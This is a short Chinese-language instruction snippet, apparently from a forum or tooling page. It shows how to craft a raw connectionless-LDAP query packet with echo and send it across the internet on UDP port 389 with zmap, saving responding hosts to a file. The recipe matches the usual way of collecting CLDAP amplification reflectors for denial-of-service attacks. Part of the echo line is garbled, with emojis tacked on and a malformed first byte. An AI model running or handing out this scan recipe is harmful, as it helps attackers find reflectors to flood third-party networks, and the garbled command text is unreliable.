如何扫描列表呢?请输入一下指令:
组成探针:
echo -ne '30\x84\x00\x00\x00\x2D\x02\x01\x01\x63\x84\x00\x00\x00\x24\x04\x00\x0A\x01\x00\x0A\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0B\x6F\x62\x6A\x65\x63\x74\x63\x6C\x61\x73\x73\x30\x84\x00\x00\x00\x00\x00\x0A' > ldap.pkt🥷‎💄🪓🤔✌
扫描指令:
zmap -p 389 --probe-module=udp --probe-args="file:ldap.pkt" --output-file=ldap.txt
